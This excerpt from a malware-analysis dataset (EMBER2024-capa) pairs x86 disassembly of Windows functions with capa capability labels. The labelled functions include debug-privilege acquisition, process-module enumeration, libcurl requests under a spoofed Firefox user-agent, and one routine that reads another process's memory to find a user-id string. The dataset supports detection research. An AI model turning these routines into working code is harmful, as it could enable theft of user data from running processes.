joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4038cd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x417a60
cmp edx, dword [eax]
je 0x4038ef
add eax, 8
inc ecx
cmp eax, 0x417af0
jl 0x4038e0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x417a60]
jne 0x403a1d
mov eax, dword [0x418984]
cmp eax, 1
je 0x4039f7
test eax, eax
jne 0x403920
cmp dword [0x41795c], 1
je 0x4039f7
cmp edx, 0xfc
je 0x403a1d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x403957
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404660
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403c10
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40399a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403c10
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x408dac
push edi
call fcn.00405cd0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404660
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404670
lea eax, [ebp - 0xa0]
push 0x408d8c
push eax
call fcn.00404670
push dword [esi + 0x417a64]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404670
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405c39
add esp, 0x2c
pop edi
jmp 0x403a1d
lea eax, [ebp + 8]
lea esi, [esi + 0x417a64]
push 0
push eax
push dword [esi]
call fcn.00403c10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4066e0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50b0da
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x18], esi
call fcn.0046f046
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x406786
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.bad_locale_name
push eax
lea ecx, [ebp - 0x24]
call fcn.00485c12
push 0x5584c0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::runtime_error.0
push eax
call fcn.0048993b
push edi
push esi
call fcn.0046c63c
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00484516
mov esp, ebp
pop ebp
ret 4

Function at 0x4067b0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50b0da
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 0xc]
push 0
mov dword [ebp - 0x18], esi
call fcn.0046f046
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x406856
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.bad_locale_name
push eax
lea ecx, [ebp - 0x24]
call fcn.00485c12
push 0x5584c0
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::runtime_error.0
push eax
call fcn.0048993b
push edi
push 0x3f
push esi
call fcn.0046e231
add esp, 0xc
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00484516
mov esp, ebp
pop ebp
ret 8
Function at 0x407610
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x50b228
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x55c640]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
push dword [ebp + 0x10]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.00451080
push dword [ebp + 0xc]
lea eax, [esp + 0x28]
push dword [ebp + 8]
push eax
call fcn.00407540
add esp, 0x24
mov dword [esp + 0x30], 0
cmp dword [eax + 0x14], 0x10
jb 0x407681
mov eax, dword [eax]
mov dword [esp + 8], eax
mov ecx, esi
lea eax, [esp + 8]
push eax
call fcn.00485c12
cmp dword [esp + 0x20], 0x10
mov dword [esi], vtable.std::runtime_error.0
jb 0x4076aa
push dword [esp + 0xc]
call fcn.00485250
add esp, 4
mov eax, dword [ebp + 8]
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [esi], vtable.std::_System_error.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4091a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [esi]
mov edx, edi
mov eax, dword [esi + 4]
shl eax, 3
shr edx, 0x1d
or edx, eax
lea ecx, [edi*8]
mov eax, ecx
mov byte [ebp - 0xc], cl
shr eax, 8
and edi, 0x3f
mov byte [ebp - 0xb], al
mov eax, ecx
shr eax, 0x10
mov byte [ebp - 0xa], al
mov eax, edx
shr eax, 8
mov byte [ebp - 7], al
mov eax, edx
shr eax, 0x10
shr ecx, 0x18
mov byte [ebp - 8], dl
shr edx, 0x18
mov byte [ebp - 6], al
mov eax, 0x38
mov byte [ebp - 9], cl
mov byte [ebp - 5], dl
cmp edi, 0x38
jb 0x40920f
mov eax, 0x78
sub eax, edi
test eax, eax
je 0x409225
push eax
mov edx, 0x55d700
mov ecx, esi
call fcn.004090f0
add esp, 4
mov eax, dword [esi]
lea ebx, [ebp - 0xc]
mov ecx, eax
mov edi, 8
and ecx, 0x3f
mov edx, 0x40
add eax, edi
sub edx, ecx
mov dword [ebp - 0x10], edx
mov dword [esi], eax
cmp eax, edi
jae 0x409249
inc dword [esi + 4]
test ecx, ecx
je 0x4092ab
cmp edx, edi
ja 0x4092ab
push edx
lea eax, [ebp - 0xc]
push eax
lea eax, [esi + 0x18]
add eax, ecx
push eax
call fcn.00489260
add esp, 0xc
lea edx, [esi + 0x18]
mov ecx, esi
call fcn.004088e0
sub edi, dword [ebp - 0x10]
lea ebx, [ebp - 0xc]
add ebx, dword [ebp - 0x10]
xor ecx, ecx
mov dword [ebp - 0x14], ecx
cmp edi, 0x40
jb 0x4092a7
mov eax, edi
shr eax, 6
mov dword [ebp - 0x10], eax
lea esp, [esp]
mov edx, ebx
mov ecx, esi
call fcn.004088e0
sub edi, 0x40
add ebx, 0x40
dec dword [ebp - 0x10]
jne 0x409290
mov ecx, dword [ebp - 0x14]
test edi, edi
je 0x4092bb
push edi
lea eax, [esi + 0x18]
add eax, ecx
push ebx
push eax
call fcn.00489260
add esp, 0xc
movzx eax, byte [esi + 8]
mov byte [0x567770], al
mov eax, dword [esi + 8]
shr eax, 8
mov byte [0x567771], al
movzx eax, byte [esi + 0xa]
mov byte [0x567772], al
movzx eax, byte [esi + 0xb]
mov byte [0x567773], al
movzx eax, byte [esi + 0xc]
mov byte [0x567774], al
mov eax, dword [esi + 0xc]
shr eax, 8
mov byte [0x567775], al
movzx eax, byte [esi + 0xe]
mov byte [0x567776], al
movzx eax, byte [esi + 0xf]
mov byte [0x567777], al
movzx eax, byte [esi + 0x10]
mov ecx, dword [ebp - 4]
mov byte [0x567778], al
xor ecx, ebp
mov eax, dword [esi + 0x10]
shr eax, 8
mov byte [0x567779], al
movzx eax, byte [esi + 0x12]
mov byte [0x56777a], al
movzx eax, byte [esi + 0x13]
mov byte [0x56777b], al
movzx eax, byte [esi + 0x14]
mov byte [0x56777c], al
mov eax, dword [esi + 0x14]
shr eax, 8
mov byte [0x56777d], al
movzx eax, byte [esi + 0x16]
pop edi
mov byte [0x56777e], al
movzx eax, byte [esi + 0x17]
pop esi
mov byte [0x56777f], al
pop ebx
call fcn.00484516
mov esp, ebp
pop ebp
ret
Function at 0x409440
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50b388
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x6c], 0
mov dword [ebp - 4], 0
lea edx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 0x18]
cmovae edx, dword [ebp + 8]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0x67452301
mov dword [ebp - 0x5c], 0xefcdab89
mov dword [ebp - 0x58], 0x98badcfe
mov dword [ebp - 0x54], 0x10325476
test eax, eax
je 0x4094c1
push eax
lea ecx, [ebp - 0x68]
call fcn.004090f0
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.004091a0
mov ecx, esi
call fcn.00409370
cmp dword [ebp + 0x1c], 0x10
jb 0x4094e1
push dword [ebp + 8]
call fcn.00485250
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00484516
mov esp, ebp
pop ebp
ret

Function at 0x409500
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0x67452301
mov dword [ebp - 0x58], 0xefcdab89
mov dword [ebp - 0x54], 0x98badcfe
mov dword [ebp - 0x50], 0x10325476
push esi
mov esi, ecx
test eax, eax
je 0x409557
push eax
lea ecx, [ebp - 0x64]
call fcn.004090f0
add esp, 4
lea ecx, [ebp - 0x64]
call fcn.004091a0
mov ecx, esi
call fcn.00409370
mov ecx, dword [ebp - 8]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00484516
mov esp, ebp
pop ebp
ret
Function at 0x40b2a0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50b5fb
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
push 0x53e536
push 0
mov dword [ebp - 0x230], 0
call fcn.00488811
push 0xff
lea eax, [ebp - 0x10f]
mov byte [ebp - 0x110], 0
push 0
push eax
call fcn.00489f10
mov eax, 0x20
push 0xfe
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push 0
push eax
call fcn.00489f10
add esp, 0x20
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
mov esi, eax
lea eax, [ebp - 0x22c]
push 4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
push 0xff
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x22c]
push esi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
cmp byte [ebp - 0x110], 0
mov dword [ebp - 0x214], 0xf
mov dword [ebp - 0x218], 0
mov byte [ebp - 0x228], 0
jne 0x40b386
xor ecx, ecx
jmp 0x40b399
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b390
sub ecx, edx
push ecx
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x228]
call fcn.004511b0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x218], 0
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], 0
mov byte [edi], 0
jne 0x40b401
cmp byte [ebp - 0x210], 0
jne 0x40b3e0
xor ecx, ecx
lea eax, [ebp - 0x210]
jmp 0x40b426
lea ecx, [ebp - 0x210]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b3f0
sub ecx, edx
lea eax, [ebp - 0x210]
jmp 0x40b426
cmp byte [ebp - 0x110], 0
jne 0x40b40e
xor ecx, ecx
jmp 0x40b420
lea ecx, [ebp - 0x110]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b417
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
mov ecx, edi
call fcn.004511b0
cmp dword [ebp - 0x214], 0x10
jb 0x40b446
push dword [ebp - 0x228]
call fcn.00485250
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00484516
mov esp, ebp
pop ebp
ret
Function at 0x40d410
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50b9d1
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 3
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], 0
mov byte [edi], 0
push 1
mov dword [ebp - 0x1c], 1
call fcn.004863cc
add esp, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
call dword [sym.imp.libcurl.dll_curl_easy_init]
mov ebx, eax
test ebx, ebx
je 0x40d53c
movdqu xmm0, xmmword [ebp + 8]
mov esi, dword [sym.imp.libcurl.dll_curl_easy_setopt]
sub esp, 0x18
mov eax, esp
push 0x2712
movdqu xmmword [eax], xmm0
push ebx
movq xmm0, qword [ebp + 0x18]
movq qword [eax + 0x10], xmm0
call esi
movdqu xmm0, xmmword [ebp + 0x20]
add esp, 8
mov eax, esp
push 0x271f
movdqu xmmword [eax], xmm0
push ebx
movq xmm0, qword [ebp + 0x30]
movq qword [eax + 0x10], xmm0
call esi
push 0x40d030
push 0x4e2b
push ebx
call esi
push 1
push 0x2f
push ebx
call esi
lea eax, [ebp - 0x18]
push eax
push 0x2711
push ebx
call esi
add esp, 0x44
push str.Mozilla_5.0__Windows__U__Windows_NT_5.1__en_US__rv:1.8.1.1__Gecko_20061204_Firefox_2.0.0.1
push 0x2722
push ebx
call esi
push ebx
call dword [sym.imp.libcurl.dll_curl_easy_perform]
add esp, 0x10
test eax, eax
jne 0x40d532
mov edx, dword [ebp - 0x18]
cmp byte [edx], al
jne 0x40d519
xor ecx, ecx
jmp 0x40d529
mov ecx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d520
sub ecx, esi
push ecx
push edx
mov ecx, edi
call fcn.004511b0
push ebx
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
add esp, 4
push dword [ebp - 0x18]
call fcn.00486394
add esp, 4
cmp dword [ebp + 0x1c], 0x10
jb 0x40d558
push dword [ebp + 8]
call fcn.00485250
add esp, 4
cmp dword [ebp + 0x34], 0x10
mov dword [ebp + 0x1c], 0xf
mov dword [ebp + 0x18], 0
mov byte [ebp + 8], 0
jb 0x40d57b
push dword [ebp + 0x20]
call fcn.00485250
add esp, 4
cmp dword [ebp + 0x4c], 0x10
mov dword [ebp + 0x34], 0xf
mov dword [ebp + 0x30], 0
mov byte [ebp + 0x20], 0
jb 0x40d59e
push dword [ebp + 0x38]
call fcn.00485250
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00484516
mov esp, ebp
pop ebp
ret
Function at 0x40dac0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
test esi, esi
je 0x40db46
cmp byte [esi], 0
je 0x40db46
push edi
push 0x5c
push esi
call fcn.00488550
mov edi, eax
add esp, 8
test edi, edi
je 0x40db30
push 0x104
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.00489f10
mov eax, 0x104
sub edi, esi
cmp edi, eax
cmovg edi, eax
lea eax, [ebp - 0x10c]
push edi
push esi
push eax
call fcn.00487540
add esp, 0x18
mov byte [ebp - 8], 0
lea ecx, [ebp - 0x10c]
call fcn.0040dac0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40db45
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00484516
mov esp, ebp
pop ebp
ret
Function at 0x415670
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50c4fb
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x55c640]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push 0x10
xor eax, eax
mov dword [ebp - 0x14], 7
push 0x540ce4
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
call fcn.00454a30
lea ecx, [ebp - 0x28]
call fcn.00413d00
cmp dword [ebp - 0x14], 8
jb 0x4156f9
push dword [ebp - 0x28]
call fcn.00485250
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x415d40
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x2c]
mov dword [ebp - 8], 0x10
push eax
push 0
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x415d97
call esi
cmp eax, 0x3f0
jne 0x415de7
lea eax, [ebp - 0x2c]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x415de7
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], 1
push eax
push 0x540ce4
push 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x415df8
call esi
push dword [ebp - 0x2c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00484516
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop esi
call fcn.00484516
mov esp, ebp
pop ebp
ret
Function at 0x418250
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x20000
push 0
mov esi, ecx
mov dword [ebp - 0x60], eax
mov dword [ebp - 8], 0
mov byte [ebp - 0x49], 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, str._user_:_id_:_
mov ebx, eax
mov dword [ebp - 0x50], ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x418290
lea eax, [ebp - 0x48]
sub edi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push esi
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
push 0
push 0x410
movdqu xmmword [ebp - 0x24], xmm0
movq qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x54], eax
test eax, eax
je 0x41836e
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x58], ecx
cmp ecx, dword [ebp - 0x3c]
ja 0x418367
mov esi, ebx
push 0x1c
lea edx, [ebp - 0x24]
push edx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x418361
mov eax, dword [ebp - 0x18]
xor ebx, ebx
mov ecx, dword [ebp - 0x58]
mov edx, eax
shr edx, 0x11
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x5c], ecx
test edx, edx
je 0x4183b6
mov edi, edi
lea eax, [ebp - 8]
push eax
push 0x20000
push esi
push ecx
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x418397
mov ecx, dword [ebp - 0x50]
xor eax, eax
mov esi, ecx
mov edx, ecx
sub esi, edi
add esi, dword [ebp - 8]
cmp ecx, esi
jae 0x4183cb
mov edi, edi
mov cl, byte [edx]
cmp cl, byte [eax + str._user_:_id_:_]
jne 0x41838d
inc eax
cmp eax, edi
jne 0x41838f
push 0x1e
push edx
push dword [ebp - 0x60]
call fcn.00489260
add esp, 0xc
mov byte [ebp - 0x49], 1
mov eax, dword [ebp - 0x54]
mov ebx, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x418379
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x49]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00484516
mov esp, ebp
pop ebp
ret
xor eax, eax
inc edx
cmp edx, esi
jb 0x418340
mov esi, dword [ebp - 0x50]
add dword [ebp - 0x5c], 0x20000
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x5c]
inc ebx
cmp ebx, dword [ebp - 0x64]
jb 0x418310
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], ecx
cmp ecx, dword [ebp - 0x3c]
ja 0x418364
jmp 0x4182e1
mov esi, ecx
jmp 0x418397
Function at 0x4183d0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x418429
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x418431
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x418446
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x14], 0
test esi, esi
jne 0x41845c
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop esi
call fcn.00484516
mov esp, ebp
pop ebp
ret
push 0x558598
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
call fcn.0048993b
int3
Function at 0x41a490
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50cca8
mov eax, dword fs:[0]
push eax
sub esp, 0x468
mov eax, dword [0x55c640]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
push ecx
push 0xf
mov dword [ebp - 0x458], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x454], 0x428
lea eax, [ebp - 0x454]
mov dword [ebp - 0x450], 1
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x41a5a7
mov esi, dword [ebp + 8]
mov ecx, dword [ebp - 0x440]
cmp esi, ecx
jb 0x41a518
mov eax, dword [ebp - 0x43c]
add eax, ecx
cmp esi, eax
jbe 0x41a52c
lea eax, [ebp - 0x454]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x41a502
jmp 0x41a5a7
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0044c580
lea edx, [ebp - 0x2c]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x470]
call fcn.00468940
mov esi, eax
cmp edi, esi
je 0x41a57f
cmp dword [edi + 0x14], 0x10
jb 0x41a566
push dword [edi]
call fcn.00485250
add esp, 4
mov dword [edi + 0x14], 0xf
mov ecx, edi
mov dword [edi + 0x10], 0
push esi
mov byte [edi], 0
call fcn.00450eb0
cmp dword [ebp - 0x45c], 0x10
jb 0x41a596
push dword [ebp - 0x470]
call fcn.00485250
add esp, 4
cmp dword [ebp - 0x18], 8
jb 0x41a5a7
push dword [ebp - 0x2c]
call fcn.00485250
add esp, 4
mov ecx, dword [ebp - 0x458]
test ecx, ecx
je 0x41a5b9
mov eax, dword [ebp - 0x440]
mov dword [ecx], eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00484516
mov esp, ebp
pop ebp
ret